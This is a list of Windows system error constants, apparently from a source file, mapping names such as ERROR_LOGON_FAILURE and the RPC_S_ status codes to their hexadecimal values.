ERROR_NOT_LOGGED_ON = 0x000004dd
ERROR_CONTINUE = 0x000004de
ERROR_ALREADY_INITIALIZED = 0x000004df
ERROR_NO_MORE_DEVICES = 0x000004e0
ERROR_NO_SUCH_SITE = 0x000004e1
ERROR_DOMAIN_CONTROLLER_EXISTS = 0x000004e2
ERROR_ONLY_IF_CONNECTED = 0x000004e3
ERROR_OVERRIDE_NOCHANGES = 0x000004e4
ERROR_BAD_USER_PROFILE = 0x000004e5
ERROR_NOT_SUPPORTED_ON_SBS = 0x000004e6
ERROR_SERVER_SHUTDOWN_IN_PROGRESS = 0x000004e7
ERROR_HOST_DOWN = 0x000004e8
ERROR_NON_ACCOUNT_SID = 0x000004e9
ERROR_NON_DOMAIN_SID = 0x000004ea
ERROR_APPHELP_BLOCK = 0x000004eb
ERROR_ACCESS_DISABLED_BY_POLICY = 0x000004ec
ERROR_REG_NAT_CONSUMPTION = 0x000004ed
ERROR_CSCSHARE_OFFLINE = 0x000004ee
ERROR_PKINIT_FAILURE = 0x000004ef
ERROR_SMARTCARD_SUBSYSTEM_FAILURE = 0x000004f0
ERROR_DOWNGRADE_DETECTED = 0x000004f1
ERROR_MACHINE_LOCKED = 0x000004f7
ERROR_CALLBACK_SUPPLIED_INVALID_DATA = 0x000004f9
ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED = 0x000004fa
ERROR_DRIVER_BLOCKED = 0x000004fb
ERROR_INVALID_IMPORT_OF_NON_DLL = 0x000004fc
ERROR_ACCESS_DISABLED_WEBBLADE = 0x000004fd
ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER = 0x000004fe
ERROR_RECOVERY_FAILURE = 0x000004ff
ERROR_ALREADY_FIBER = 0x00000500
ERROR_ALREADY_THREAD = 0x00000501
ERROR_STACK_BUFFER_OVERRUN = 0x00000502
ERROR_PARAMETER_QUOTA_EXCEEDED = 0x00000503
ERROR_DEBUGGER_INACTIVE = 0x00000504
ERROR_DELAY_LOAD_FAILED = 0x00000505
ERROR_VDM_DISALLOWED = 0x00000506
ERROR_UNIDENTIFIED_ERROR = 0x00000507
ERROR_INVALID_CRUNTIME_PARAMETER = 0x00000508
ERROR_BEYOND_VDL = 0x00000509
ERROR_INCOMPATIBLE_SERVICE_SID_TYPE = 0x0000050a
ERROR_DRIVER_PROCESS_TERMINATED = 0x0000050b
ERROR_IMPLEMENTATION_LIMIT = 0x0000050c
ERROR_PROCESS_IS_PROTECTED = 0x0000050d
ERROR_SERVICE_NOTIFY_CLIENT_LAGGING = 0x0000050e
ERROR_DISK_QUOTA_EXCEEDED = 0x0000050f
ERROR_CONTENT_BLOCKED = 0x00000510
ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE = 0x00000511
ERROR_APP_HANG = 0x00000512
ERROR_INVALID_LABEL = 0x00000513
ERROR_NOT_ALL_ASSIGNED = 0x00000514
ERROR_SOME_NOT_MAPPED = 0x00000515
ERROR_NO_QUOTAS_FOR_ACCOUNT = 0x00000516
ERROR_LOCAL_USER_SESSION_KEY = 0x00000517
ERROR_NULL_LM_PASSWORD = 0x00000518
ERROR_UNKNOWN_REVISION = 0x00000519
ERROR_REVISION_MISMATCH = 0x0000051a
ERROR_INVALID_OWNER = 0x0000051b
ERROR_INVALID_PRIMARY_GROUP = 0x0000051c
ERROR_NO_IMPERSONATION_TOKEN = 0x0000051d
ERROR_CANT_DISABLE_MANDATORY = 0x0000051e
ERROR_NO_LOGON_SERVERS = 0x0000051f
ERROR_NO_SUCH_LOGON_SESSION = 0x00000520
ERROR_NO_SUCH_PRIVILEGE = 0x00000521
ERROR_PRIVILEGE_NOT_HELD = 0x00000522
ERROR_INVALID_ACCOUNT_NAME = 0x00000523
ERROR_USER_EXISTS = 0x00000524
ERROR_NO_SUCH_USER = 0x00000525
ERROR_GROUP_EXISTS = 0x00000526
ERROR_NO_SUCH_GROUP = 0x00000527
ERROR_MEMBER_IN_GROUP = 0x00000528
ERROR_MEMBER_NOT_IN_GROUP = 0x00000529
ERROR_LAST_ADMIN = 0x0000052a
ERROR_WRONG_PASSWORD = 0x0000052b
ERROR_ILL_FORMED_PASSWORD = 0x0000052c
ERROR_PASSWORD_RESTRICTION = 0x0000052d
ERROR_LOGON_FAILURE = 0x0000052e
ERROR_ACCOUNT_RESTRICTION = 0x0000052f
ERROR_INVALID_LOGON_HOURS = 0x00000530
ERROR_INVALID_WORKSTATION = 0x00000531
ERROR_PASSWORD_EXPIRED = 0x00000532
ERROR_ACCOUNT_DISABLED = 0x00000533
ERROR_NONE_MAPPED = 0x00000534
ERROR_TOO_MANY_LUIDS_REQUESTED = 0x00000535
ERROR_LUIDS_EXHAUSTED = 0x00000536
ERROR_INVALID_SUB_AUTHORITY = 0x00000537
ERROR_INVALID_ACL = 0x00000538
ERROR_INVALID_SID = 0x00000539
ERROR_INVALID_SECURITY_DESCR = 0x0000053a
ERROR_BAD_INHERITANCE_ACL = 0x0000053c
ERROR_SERVER_DISABLED = 0x0000053d
ERROR_SERVER_NOT_DISABLED = 0x0000053e
ERROR_INVALID_ID_AUTHORITY = 0x0000053f
ERROR_ALLOTTED_SPACE_EXCEEDED = 0x00000540
ERROR_INVALID_GROUP_ATTRIBUTES = 0x00000541
ERROR_BAD_IMPERSONATION_LEVEL = 0x00000542
ERROR_CANT_OPEN_ANONYMOUS = 0x00000543
ERROR_BAD_VALIDATION_CLASS = 0x00000544
ERROR_BAD_TOKEN_TYPE = 0x00000545
ERROR_NO_SECURITY_ON_OBJECT = 0x00000546
ERROR_CANT_ACCESS_DOMAIN_INFO = 0x00000547
ERROR_INVALID_SERVER_STATE = 0x00000548
ERROR_INVALID_DOMAIN_STATE = 0x00000549
ERROR_INVALID_DOMAIN_ROLE = 0x0000054a
ERROR_NO_SUCH_DOMAIN = 0x0000054b
ERROR_DOMAIN_EXISTS = 0x0000054c
ERROR_DOMAIN_LIMIT_EXCEEDED = 0x0000054d
ERROR_INTERNAL_DB_CORRUPTION = 0x0000054e
ERROR_INTERNAL_ERROR = 0x0000054f
ERROR_GENERIC_NOT_MAPPED = 0x00000550
ERROR_BAD_DESCRIPTOR_FORMAT = 0x00000551
ERROR_NOT_LOGON_PROCESS = 0x00000552
ERROR_LOGON_SESSION_EXISTS = 0x00000553
ERROR_NO_SUCH_PACKAGE = 0x00000554
ERROR_BAD_LOGON_SESSION_STATE = 0x00000555
ERROR_LOGON_SESSION_COLLISION = 0x00000556
ERROR_INVALID_LOGON_TYPE = 0x00000557
ERROR_CANNOT_IMPERSONATE = 0x00000558
ERROR_RXACT_INVALID_STATE = 0x00000559
ERROR_RXACT_COMMIT_FAILURE = 0x0000055a
ERROR_SPECIAL_ACCOUNT = 0x0000055b
ERROR_SPECIAL_GROUP = 0x0000055c
ERROR_SPECIAL_USER = 0x0000055d
ERROR_MEMBERS_PRIMARY_GROUP = 0x0000055e
ERROR_TOKEN_ALREADY_IN_USE = 0x0000055f
ERROR_NO_SUCH_ALIAS = 0x00000560
ERROR_MEMBER_NOT_IN_ALIAS = 0x00000561
ERROR_MEMBER_IN_ALIAS = 0x00000562
ERROR_ALIAS_EXISTS = 0x00000563
ERROR_LOGON_NOT_GRANTED = 0x00000564
ERROR_TOO_MANY_SECRETS = 0x00000565
ERROR_SECRET_TOO_LONG = 0x00000566
ERROR_INTERNAL_DB_ERROR = 0x00000567
ERROR_TOO_MANY_CONTEXT_IDS = 0x00000568
ERROR_LOGON_TYPE_NOT_GRANTED = 0x00000569
ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 0x0000056a
ERROR_NO_SUCH_MEMBER = 0x0000056b
ERROR_INVALID_MEMBER = 0x0000056c
ERROR_TOO_MANY_SIDS = 0x0000056d
ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 0x0000056e
ERROR_NO_INHERITANCE = 0x0000056f
ERROR_FILE_CORRUPT = 0x00000570
ERROR_DISK_CORRUPT = 0x00000571
ERROR_NO_USER_SESSION_KEY = 0x00000572
ERROR_LICENSE_QUOTA_EXCEEDED = 0x00000573
ERROR_WRONG_TARGET_NAME = 0x00000574
ERROR_MUTUAL_AUTH_FAILED = 0x00000575
ERROR_TIME_SKEW = 0x00000576
ERROR_CURRENT_DOMAIN_NOT_ALLOWED = 0x00000577
ERROR_INVALID_WINDOW_HANDLE = 0x00000578
ERROR_INVALID_MENU_HANDLE = 0x00000579
ERROR_INVALID_CURSOR_HANDLE = 0x0000057a
ERROR_INVALID_ACCEL_HANDLE = 0x0000057b
ERROR_INVALID_HOOK_HANDLE = 0x0000057c
ERROR_INVALID_DWP_HANDLE = 0x0000057d
ERROR_TLW_WITH_WSCHILD = 0x0000057e
ERROR_CANNOT_FIND_WND_CLASS = 0x0000057f
ERROR_WINDOW_OF_OTHER_THREAD = 0x00000580
ERROR_HOTKEY_ALREADY_REGISTERED = 0x00000581
ERROR_CLASS_ALREADY_EXISTS = 0x00000582
ERROR_CLASS_DOES_NOT_EXIST = 0x00000583
ERROR_CLASS_HAS_WINDOWS = 0x00000584
ERROR_INVALID_INDEX = 0x00000585
ERROR_INVALID_ICON_HANDLE = 0x00000586
ERROR_PRIVATE_DIALOG_INDEX = 0x00000587
ERROR_LISTBOX_ID_NOT_FOUND = 0x00000588
ERROR_NO_WILDCARD_CHARACTERS = 0x00000589
ERROR_CLIPBOARD_NOT_OPEN = 0x0000058a
ERROR_HOTKEY_NOT_REGISTERED = 0x0000058b
ERROR_WINDOW_NOT_DIALOG = 0x0000058c
ERROR_CONTROL_ID_NOT_FOUND = 0x0000058d
ERROR_INVALID_COMBOBOX_MESSAGE = 0x0000058e
ERROR_WINDOW_NOT_COMBOBOX = 0x0000058f
ERROR_INVALID_EDIT_HEIGHT = 0x00000590
ERROR_DC_NOT_FOUND = 0x00000591
ERROR_INVALID_HOOK_FILTER = 0x00000592
ERROR_INVALID_FILTER_PROC = 0x00000593
ERROR_HOOK_NEEDS_HMOD = 0x00000594
ERROR_GLOBAL_ONLY_HOOK = 0x00000595
ERROR_JOURNAL_HOOK_SET = 0x00000596
ERROR_HOOK_NOT_INSTALLED = 0x00000597
ERROR_INVALID_LB_MESSAGE = 0x00000598
ERROR_SETCOUNT_ON_BAD_LB = 0x00000599
ERROR_LB_WITHOUT_TABSTOPS = 0x0000059a
ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 0x0000059b
ERROR_CHILD_WINDOW_MENU = 0x0000059c
ERROR_NO_SYSTEM_MENU = 0x0000059d
ERROR_INVALID_MSGBOX_STYLE = 0x0000059e
ERROR_INVALID_SPI_VALUE = 0x0000059f
ERROR_SCREEN_ALREADY_LOCKED = 0x000005a0
ERROR_HWNDS_HAVE_DIFF_PARENT = 0x000005a1
ERROR_NOT_CHILD_WINDOW = 0x000005a2
ERROR_INVALID_GW_COMMAND = 0x000005a3
ERROR_INVALID_THREAD_ID = 0x000005a4
ERROR_NON_MDICHILD_WINDOW = 0x000005a5
ERROR_POPUP_ALREADY_ACTIVE = 0x000005a6
ERROR_NO_SCROLLBARS = 0x000005a7
ERROR_INVALID_SCROLLBAR_RANGE = 0x000005a8
ERROR_INVALID_SHOWWIN_COMMAND = 0x000005a9
ERROR_NO_SYSTEM_RESOURCES = 0x000005aa
ERROR_NONPAGED_SYSTEM_RESOURCES = 0x000005ab
ERROR_PAGED_SYSTEM_RESOURCES = 0x000005ac
ERROR_WORKING_SET_QUOTA = 0x000005ad
ERROR_PAGEFILE_QUOTA = 0x000005ae
ERROR_COMMITMENT_LIMIT = 0x000005af
ERROR_MENU_ITEM_NOT_FOUND = 0x000005b0
ERROR_INVALID_KEYBOARD_HANDLE = 0x000005b1
ERROR_HOOK_TYPE_NOT_ALLOWED = 0x000005b2
ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 0x000005b3
ERROR_TIMEOUT = 0x000005b4
ERROR_INVALID_MONITOR_HANDLE = 0x000005b5
ERROR_INCORRECT_SIZE = 0x000005b6
ERROR_SYMLINK_CLASS_DISABLED = 0x000005b7
ERROR_SYMLINK_NOT_SUPPORTED = 0x000005b8
ERROR_XML_PARSE_ERROR = 0x000005b9
ERROR_XMLDSIG_ERROR = 0x000005ba
ERROR_RESTART_APPLICATION = 0x000005bb
ERROR_WRONG_COMPARTMENT = 0x000005bc
ERROR_AUTHIP_FAILURE = 0x000005bd
ERROR_NO_NVRAM_RESOURCES = 0x000005be
ERROR_NOT_GUI_PROCESS = 0x000005bf
ERROR_EVENTLOG_FILE_CORRUPT = 0x000005dc
ERROR_EVENTLOG_CANT_START = 0x000005dd
ERROR_LOG_FILE_FULL = 0x000005de
ERROR_EVENTLOG_FILE_CHANGED = 0x000005df
ERROR_INVALID_TASK_NAME = 0x0000060e
ERROR_INVALID_TASK_INDEX = 0x0000060f
ERROR_THREAD_ALREADY_IN_TASK = 0x00000610
ERROR_INSTALL_SERVICE_FAILURE = 0x00000641
ERROR_INSTALL_USEREXIT = 0x00000642
ERROR_INSTALL_FAILURE = 0x00000643
ERROR_INSTALL_SUSPEND = 0x00000644
ERROR_UNKNOWN_PRODUCT = 0x00000645
ERROR_UNKNOWN_FEATURE = 0x00000646
ERROR_UNKNOWN_COMPONENT = 0x00000647
ERROR_UNKNOWN_PROPERTY = 0x00000648
ERROR_INVALID_HANDLE_STATE = 0x00000649
ERROR_BAD_CONFIGURATION = 0x0000064a
ERROR_INDEX_ABSENT = 0x0000064b
ERROR_INSTALL_SOURCE_ABSENT = 0x0000064c
ERROR_INSTALL_PACKAGE_VERSION = 0x0000064d
ERROR_PRODUCT_UNINSTALLED = 0x0000064e
ERROR_BAD_QUERY_SYNTAX = 0x0000064f
ERROR_INVALID_FIELD = 0x00000650
ERROR_DEVICE_REMOVED = 0x00000651
ERROR_INSTALL_ALREADY_RUNNING = 0x00000652
ERROR_INSTALL_PACKAGE_OPEN_FAILED = 0x00000653
ERROR_INSTALL_PACKAGE_INVALID = 0x00000654
ERROR_INSTALL_UI_FAILURE = 0x00000655
ERROR_INSTALL_LOG_FAILURE = 0x00000656
ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 0x00000657
ERROR_INSTALL_TRANSFORM_FAILURE = 0x00000658
ERROR_INSTALL_PACKAGE_REJECTED = 0x00000659
ERROR_FUNCTION_NOT_CALLED = 0x0000065a
ERROR_FUNCTION_FAILED = 0x0000065b
ERROR_INVALID_TABLE = 0x0000065c
ERROR_DATATYPE_MISMATCH = 0x0000065d
ERROR_UNSUPPORTED_TYPE = 0x0000065e
ERROR_CREATE_FAILED = 0x0000065f
ERROR_INSTALL_TEMP_UNWRITABLE = 0x00000660
ERROR_INSTALL_PLATFORM_UNSUPPORTED = 0x00000661
ERROR_INSTALL_NOTUSED = 0x00000662
ERROR_PATCH_PACKAGE_OPEN_FAILED = 0x00000663
ERROR_PATCH_PACKAGE_INVALID = 0x00000664
ERROR_PATCH_PACKAGE_UNSUPPORTED = 0x00000665
ERROR_PRODUCT_VERSION = 0x00000666
ERROR_INVALID_COMMAND_LINE = 0x00000667
ERROR_INSTALL_REMOTE_DISALLOWED = 0x00000668
ERROR_SUCCESS_REBOOT_INITIATED = 0x00000669
ERROR_PATCH_TARGET_NOT_FOUND = 0x0000066a
ERROR_PATCH_PACKAGE_REJECTED = 0x0000066b
ERROR_INSTALL_TRANSFORM_REJECTED = 0x0000066c
ERROR_INSTALL_REMOTE_PROHIBITED = 0x0000066d
ERROR_PATCH_REMOVAL_UNSUPPORTED = 0x0000066e
ERROR_UNKNOWN_PATCH = 0x0000066f
ERROR_PATCH_NO_SEQUENCE = 0x00000670
ERROR_PATCH_REMOVAL_DISALLOWED = 0x00000671
ERROR_INVALID_PATCH_XML = 0x00000672
ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT = 0x00000673
ERROR_INSTALL_SERVICE_SAFEBOOT = 0x00000674
ERROR_FAIL_FAST_EXCEPTION = 0x00000675
ERROR_INSTALL_REJECTED = 0x00000676
RPC_S_INVALID_STRING_BINDING = 0x000006a4
RPC_S_WRONG_KIND_OF_BINDING = 0x000006a5
RPC_S_INVALID_BINDING = 0x000006a6
RPC_S_PROTSEQ_NOT_SUPPORTED = 0x000006a7
RPC_S_INVALID_RPC_PROTSEQ = 0x000006a8
RPC_S_INVALID_STRING_UUID = 0x000006a9
RPC_S_INVALID_ENDPOINT_FORMAT = 0x000006aa
RPC_S_INVALID_NET_ADDR = 0x000006ab
RPC_S_NO_ENDPOINT_FOUND = 0x000006ac
RPC_S_INVALID_TIMEOUT = 0x000006ad
RPC_S_OBJECT_NOT_FOUND = 0x000006ae
RPC_S_ALREADY_REGISTERED = 0x000006af
RPC_S_TYPE_ALREADY_REGISTERED = 0x000006b0
RPC_S_ALREADY_LISTENING = 0x000006b1
RPC_S_NO_PROTSEQS_REGISTERED = 0x000006b2
RPC_S_NOT_LISTENING = 0x000006b3
RPC_S_UNKNOWN_MGR_TYPE = 0x000006b4
RPC_S_UNKNOWN_IF = 0x000006b5
RPC_S_NO_BINDINGS = 0x000006b6
RPC_S_NO_PROTSEQS = 0x000006b7
RPC_S_CANT_CREATE_ENDPOINT = 0x000006b8
RPC_S_OUT_OF_RESOURCES = 0x000006b9
RPC_S_SERVER_UNAVAILABLE = 0x000006ba
RPC_S_SERVER_TOO_BUSY = 0x000006bb
RPC_S_INVALID_NETWORK_OPTIONS = 0x000006bc
RPC_S_NO_CALL_ACTIVE = 0x000006bd
RPC_S_CALL_FAILED = 0x000006be
RPC_S_CALL_FAILED_DNE = 0x000006bf
RPC_S_PROTOCOL_ERROR = 0x000006c0
RPC_S_PROXY_ACCESS_DENIED = 0x000006c1
RPC_S_UNSUPPORTED_TRANS_SYN = 0x000006c2
RPC_S_UNSUPPORTED_TYPE = 0x000006c4
RPC_S_INVALID_TAG = 0x000006c5
RPC_S_INVALID_BOUND = 0x000006c6
RPC_S_NO_ENTRY_NAME = 0x000006c7
RPC_S_INVALID_NAME_SYNTAX = 0x000006c8
RPC_S_UNSUPPORTED_NAME_SYNTAX = 0x000006c9
RPC_S_UUID_NO_ADDRESS = 0x000006cb
RPC_S_DUPLICATE_ENDPOINT = 0x000006cc
RPC_S_UNKNOWN_AUTHN_TYPE = 0x000006cd
RPC_S_MAX_CALLS_TOO_SMALL = 0x000006ce
RPC_S_STRING_TOO_LONG = 0x000006cf
RPC_S_PROTSEQ_NOT_FOUND = 0x000006d0
RPC_S_PROCNUM_OUT_OF_RANGE = 0x000006d1
RPC_S_BINDING_HAS_NO_AUTH = 0x000006d2
RPC_S_UNKNOWN_AUTHN_SERVICE = 0x000006d3
RPC_S_UNKNOWN_AUTHN_LEVEL = 0x000006d4
RPC_S_INVALID_AUTH_IDENTITY = 0x000006d5
RPC_S_UNKNOWN_AUTHZ_SERVICE = 0x000006d6
EPT_S_INVALID_ENTRY = 0x000006d7
EPT_S_CANT_PERFORM_OP = 0x000006d8
EPT_S_NOT_REGISTERED = 0x000006d9
RPC_S_NOTHING_TO_EXPORT = 0x000006da
RPC_S_INCOMPLETE_NAME = 0x000006db
RPC_S_INVALID_VERS_OPTION = 0x000006dc
RPC_S_NO_MORE_MEMBERS = 0x000006dd
RPC_S_NOT_ALL_OBJS_UNEXPORTED = 0x000006de
RPC_S_INTERFACE_NOT_FOUND = 0x000006df
RPC_S_ENTRY_ALREADY_EXISTS = 0x000006e0
RPC_S_ENTRY_NOT_FOUND = 0x000006e1
RPC_S_NAME_SERVICE_UNAVAILABLE = 0x000006e2
RPC_S_INVALID_NAF_ID = 0x000006e3
RPC_S_CANNOT_SUPPORT = 0x000006e4
RPC_S_NO_CONTEXT_AVAILABLE = 0x000006e5
RPC_S_INTERNAL_ERROR = 0x000006e6
RPC_S_ZERO_DIVIDE = 0x000006e7
RPC_S_ADDRESS_ERROR = 0x000006e8
RPC_S_FP_DIV_ZERO = 0x000006e9
RPC_S_FP_UNDERFLOW = 0x000006ea
RPC_S_FP_OVERFLOW = 0x000006eb
RPC_X_NO_MORE_ENTRIES = 0x000006ec
RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 0x000006ed
RPC_X_SS_CHAR_TRANS_SHORT_FILE = 0x000006ee
RPC_X_SS_IN_NULL_CONTEXT = 0x000006ef
RPC_X_SS_CONTEXT_DAMAGED = 0x000006f1
RPC_X_SS_HANDLES_MISMATCH = 0x000006f2
RPC_X_SS_CANNOT_GET_CALL_HANDLE = 0x000006f3
RPC_X_NULL_REF_POINTER = 0x000006f4
RPC_X_ENUM_VALUE_OUT_OF_RANGE = 0x000006f5
RPC_X_BYTE_COUNT_TOO_SMALL = 0x000006f6
RPC_X_BAD_STUB_DATA = 0x000006f7
ERROR_INVALID_USER_BUFFER = 0x000006f8
ERROR_UNRECOGNIZED_MEDIA = 0x000006f9
ERROR_NO_TRUST_LSA_SECRET = 0x000006fa
ERROR_NO_TRUST_SAM_ACCOUNT = 0x000006fb
ERROR_TRUSTED_DOMAIN_FAILURE = 0x000006fc
ERROR_TRUSTED_RELATIONSHIP_FAILURE = 0x000006fd
ERROR_TRUST_FAILURE = 0x000006fe
RPC_S_CALL_IN_PROGRESS = 0x000006ff
ERROR_NETLOGON_NOT_STARTED = 0x00000700
ERROR_ACCOUNT_EXPIRED = 0x00000701
ERROR_REDIRECTOR_HAS_OPEN_HANDLES = 0x00000702
ERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 0x00000703
ERROR_UNKNOWN_PORT = 0x00000704
ERROR_UNKNOWN_PRINTER_DRIVER = 0x00000705
ERROR_UNKNOWN_PRINTPROCESSOR = 0x00000706
ERROR_INVALID_SEPARATOR_FILE = 0x00000707
ERROR_INVALID_PRIORITY = 0x00000708
ERROR_INVALID_PRINTER_NAME = 0x00000709
ERROR_PRINTER_ALREADY_EXISTS = 0x0000070a
ERROR_INVALID_PRINTER_COMMAND = 0x0000070b
ERROR_INVALID_DATATYPE = 0x0000070c
ERROR_INVALID_ENVIRONMENT = 0x0000070d
RPC_S_NO_MORE_BINDINGS = 0x0000070e
ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 0x0000070f
ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 0x00000710
ERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 0x00000711
ERROR_DOMAIN_TRUST_INCONSISTENT = 0x00000712
ERROR_SERVER_HAS_OPEN_HANDLES = 0x00000713
ERROR_RESOURCE_DATA_NOT_FOUND = 0x00000714
ERROR_RESOURCE_TYPE_NOT_FOUND = 0x00000715
ERROR_RESOURCE_NAME_NOT_FOUND = 0x00000716
ERROR_RESOURCE_LANG_NOT_FOUND = 0x00000717
ERROR_NOT_ENOUGH_QUOTA = 0x00000718
RPC_S_NO_INTERFACES = 0x00000719
RPC_S_CALL_CANCELLED = 0x0000071a
RPC_S_BINDING_INCOMPLETE = 0x0000071b
RPC_S_COMM_FAILURE = 0x0000071c
RPC_S_UNSUPPORTED_AUTHN_LEVEL = 0x0000071d
RPC_S_NO_PRINC_NAME = 0x0000071e
RPC_S_NOT_RPC_ERROR = 0x0000071f
RPC_S_UUID_LOCAL_ONLY = 0x00000720
RPC_S_SEC_PKG_ERROR = 0x00000721
RPC_S_NOT_CANCELLED = 0x00000722
RPC_X_INVALID_ES_ACTION = 0x00000723
RPC_X_WRONG_ES_VERSION = 0x00000724
RPC_X_WRONG_STUB_VERSION = 0x00000725
RPC_X_INVALID_PIPE_OBJECT = 0x00000726
RPC_X_WRONG_PIPE_ORDER = 0x00000727
RPC_X_WRONG_PIPE_VERSION = 0x00000728
RPC_S_COOKIE_AUTH_FAILED = 0x00000729
RPC_S_GROUP_MEMBER_NOT_FOUND = 0x0000076a
EPT_S_CANT_CREATE = 0x0000076b
RPC_S_INVALID_OBJECT = 0x0000076c
ERROR_INVALID_TIME = 0x0000076d
ERROR_INVALID_FORM_NAME = 0x0000076e
ERROR_INVALID_FORM_SIZE = 0x0000076f
ERROR_ALREADY_WAITING = 0x00000770
ERROR_PRINTER_DELETED = 0x00000771
ERROR_INVALID_PRINTER_STATE = 0x00000772
ERROR_PASSWORD_MUST_CHANGE = 0x00000773
ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 0x00000774
ERROR_ACCOUNT_LOCKED_OUT = 0x00000775
OR_INVALID_OXID = 0x00000776
OR_INVALID_OID = 0x00000777
OR_INVALID_SET = 0x00000778
RPC_S_SEND_INCOMPLETE = 0x00000779
RPC_S_INVALID_ASYNC_HANDLE = 0x0000077a
RPC_S_INVALID_ASYNC_CALL = 0x0000077b
RPC_X_PIPE_CLOSED = 0x0000077c
RPC_X_PIPE_DISCIPLINE_ERROR = 0x0000077d
RPC_X_PIPE_EMPTY = 0x0000077e
ERROR_NO_SITENAME = 0x0000077f
ERROR_CANT_ACCESS_FILE = 0x00000780
ERROR_CANT_RESOLVE_FILENAME = 0x00000781
RPC_S_ENTRY_TYPE_MISMATCH = 0x00000782
RPC_S_NOT_ALL_OBJS_EXPORTED = 0x00000783
RPC_S_INTERFACE_NOT_EXPORTED = 0x00000784
RPC_S_PROFILE_NOT_ADDED = 0x00000785
RPC_S_PRF_ELT_NOT_ADDED = 0x00000786
RPC_S_PRF_ELT_NOT_REMOVED = 0x00000787
RPC_S_GRP_ELT_NOT_ADDED = 0x00000788
RPC_S_GRP_ELT_NOT_REMOVED = 0x00000789
ERROR_KM_DRIVER_BLOCKED = 0x0000078a
ERROR_CONTEXT_EXPIRED = 0x0000078b
ERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 0x0000078c
ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 0x0000078d
ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 0x0000078e
ERROR_AUTHENTICATION_FIREWALL_FAILED = 0x0000078f
ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 0x00000790
ERROR_NTLM_BLOCKED = 0x00000791
ERROR_PASSWORD_CHANGE_REQUIRED = 0x00000792
ERROR_INVALID_PIXEL_FORMAT = 0x000007d0
ERROR_BAD_DRIVER = 0x000007d1
ERROR_INVALID_WINDOW_STYLE = 0x000007d2
ERROR_METAFILE_NOT_SUPPORTED = 0x000007d3
ERROR_TRANSFORM_NOT_SUPPORTED = 0x000007d4
ERROR_CLIPPING_NOT_SUPPORTED = 0x000007d5
ERROR_INVALID_CMM = 0x000007da
ERROR_INVALID_PROFILE = 0x000007db
ERROR_TAG_NOT_FOUND = 0x000007dc
ERROR_TAG_NOT_PRESENT = 0x000007dd
ERROR_DUPLICATE_TAG = 0x000007de
ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 0x000007df
ERROR_PROFILE_NOT_FOUND = 0x000007e0
ERROR_INVALID_COLORSPACE = 0x000007e1
ERROR_ICM_NOT_ENABLED = 0x000007e2
ERROR_DELETING_ICM_XFORM = 0x000007e3
ERROR_INVALID_TRANSFORM = 0x000007e4
ERROR_COLORSPACE_MISMATCH = 0x000007e5
ERROR_INVALID_COLORINDEX = 0x000007e6
ERROR_PROFILE_DOES_NOT_MATCH_DEVICE = 0x000007e7
ERROR_CONNECTED_OTHER_PASSWORD = 0x0000083c
ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 0x0000083d
ERROR_BAD_USERNAME = 0x0000089a
ERROR_NOT_CONNECTED = 0x000008ca
ERROR_OPEN_FILES = 0x00000961
ERROR_ACTIVE_CONNECTIONS = 0x00000962
ERROR_DEVICE_IN_USE = 0x00000964
ERROR_UNKNOWN_PRINT_MONITOR = 0x00000bb8
ERROR_PRINTER_DRIVER_IN_USE = 0x00000bb9
ERROR_SPOOL_FILE_NOT_FOUND = 0x00000bba
ERROR_SPL_NO_STARTDOC = 0x00000bbb
ERROR_SPL_NO_ADDJOB = 0x00000bbc
ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 0x00000bbd
ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 0x00000bbe
ERROR_INVALID_PRINT_MONITOR = 0x00000bbf
ERROR_PRINT_MONITOR_IN_USE = 0x00000bc0
ERROR_PRINTER_HAS_JOBS_QUEUED = 0x00000bc1
ERROR_SUCCESS_REBOOT_REQUIRED = 0x00000bc2
ERROR_SUCCESS_RESTART_REQUIRED = 0x00000bc3
ERROR_PRINTER_NOT_FOUND = 0x00000bc4
ERROR_PRINTER_DRIVER_WARNED = 0x00000bc5
ERROR_PRINTER_DRIVER_BLOCKED = 0x00000bc6
ERROR_PRINTER_DRIVER_PACKAGE_IN_USE = 0x00000bc7
ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND = 0x00000bc8
ERROR_FAIL_REBOOT_REQUIRED = 0x00000bc9
ERROR_FAIL_REBOOT_INITIATED = 0x00000bca
ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED = 0x00000bcb
ERROR_PRINT_JOB_RESTART_REQUIRED = 0x00000bcc
ERROR_INVALID_PRINTER_DRIVER_MANIFEST = 0x00000bcd
ERROR_PRINTER_NOT_SHAREABLE = 0x00000bce
ERROR_REQUEST_PAUSED = 0x00000bea
ERROR_IO_REISSUE_AS_CACHED = 0x00000f6e
ERROR_WINS_INTERNAL = 0x00000fa0
ERROR_CAN_NOT_DEL_LOCAL_WINS = 0x00000fa1
ERROR_STATIC_INIT = 0x00000fa2
ERROR_INC_BACKUP = 0x00000fa3
ERROR_FULL_BACKUP = 0x00000fa4
ERROR_REC_NON_EXISTENT = 0x00000fa5
ERROR_RPL_NOT_ALLOWED = 0x00000fa6
PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED = 0x00000fd2
PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO = 0x00000fd3
PEERDIST_ERROR_MISSING_DATA = 0x00000fd4
PEERDIST_ERROR_NO_MORE = 0x00000fd5
PEERDIST_ERROR_NOT_INITIALIZED = 0x00000fd6
